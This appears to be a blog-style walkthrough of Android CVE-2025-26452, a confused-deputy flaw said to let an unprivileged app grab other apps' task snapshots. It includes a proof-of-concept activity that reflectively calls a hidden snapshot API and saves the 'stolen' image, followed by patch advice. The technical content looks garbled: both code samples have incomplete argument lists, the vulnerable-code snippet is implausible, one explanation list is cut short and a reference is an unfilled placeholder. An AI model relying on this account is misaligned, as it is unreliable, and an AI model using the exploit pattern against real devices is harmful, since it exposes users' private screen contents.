In this deep-dive, we’ll break down the newly discovered Android vulnerability CVE-2025-26452, which affects the way task snapshots can be accessed by an app with no special permissions. This vulnerability is rooted in a *confused deputy* issue in the ResourcesImpl.java file, specifically in the loadDrawableForCookie() method.

We’ll explain how the flaw works, why it matters, walk through pseudo-code and snippets, and show how a local app could exploit it to escalate its privileges. All with simple language, so anyone with a basic understanding of Android internals can follow along.

What? A *confused deputy* lets a malicious app load task snapshots from other apps.

- Result? Local privilege escalation with no special permissions or user interaction needed.
- Who is affected? Android devices that haven’t applied the June/July 2025 security update (check references below for vendor patches).

Understanding the Vulnerability

The confused deputy problem happens when a privileged component (the “deputy”, e.g., ResourcesImpl) is tricked into using its privileges on behalf of a less privileged caller (the malicious app). Here, the vulnerable code allowed an app to load a cached task snapshot belonging to another app—dangerous because this snapshot may leak sensitive data.

At the heart is this simplified logic in ResourcesImpl.java

// loadDrawableForCookie in ResourcesImpl.java (simplified)
Drawable loadDrawableForCookie(int resourceId, int cookie) {
    // ... previous logic ...

    // accessing task snapshot via package manager
    Bitmap snapshot = ActivityManager.getTaskSnapshot(taskId, /*type*/ );
    if (snapshot != null) {
        return new BitmapDrawable(mResources, snapshot);
    }
    // ... more logic ...
}

The loadDrawableForCookie() function, when passed tricked parameters, may request a task snapshot—which is an image of a running app’s screen—without checking if the calling app actually owns the snapshot. This lets any local app impersonate others and grab their snapshots.

Proof-of-Concept Exploit (Pseudo-code)

Below is a simplified example that shows the core idea of the exploit. Note: Running this directly will not work on fully patched devices, and accessing ActivityManager.getTaskSnapshot() may require reflection or other tricks.

// MainActivity.java of a malicious app
public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        try {
            // Find a target taskId (e.g., from recent tasks)
            int targetTaskId = chooseOtherAppTaskId();

            // Use reflection to access hidden APIs if needed
            ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            Method getTaskSnapshot = ActivityManager.class.getDeclaredMethod("getTaskSnapshot", int.class, int.class);
            getTaskSnapshot.setAccessible(true);

            // Ask system for the snapshot (privilege confused deputy!)
            Bitmap victimSnapshot = (Bitmap) getTaskSnapshot.invoke(am, targetTaskId, );

            if (victimSnapshot != null) {
                // Save or send snapshot elsewhere
                saveBitmapToFile(victimSnapshot, "stolen_snapshot.png");
            }
        } catch (Exception e) {
            Log.e("Exploit", "Failed to steal task snapshot", e);
        }
    }
}

What does this code do?

Saves the returned image for the attacker.

No extra permissions are needed, and the user never gets prompted. This is the power of a confused deputy in the system.

Fix & Mitigation Details

Google has addressed this by strengthening privilege checks in the patched Android Framework code. Calls by unprivileged apps to getTaskSnapshot/related functions now validate ownership of the task.

Update your devices with the latest Android security patches.

- Audit any custom Resource/Drawable handling code for similar proxy privilege abuse.

References

- Google CVE-2025-26452 official page (MITRE)
- Android Security Bulletin – June 2025
- Google Issue Tracker discussion *(sample, update with real link when available)*
- The Confused Deputy Problem (Wikipedia)

Conclusion

*CVE-2025-26452* highlights how seemingly small permission checks can have serious consequences for Android security. This bug allowed simple unprivileged apps to peek into task snapshots from other processes, risking sensitive information exposure and lateral privilege escalation.

If you are a dev or security engineer, review your code for similar privilege escalation paths and confused deputies.

Questions or want more technical details? [Contact me](#) or reply below!


*This research and code are provided for educational use only. Testing these concepts on devices you do not control is illegal.*

Timeline

Published on: 09/04/2025 18:15:45 UTC
Last modified on: 09/05/2025 19:13:54 UTC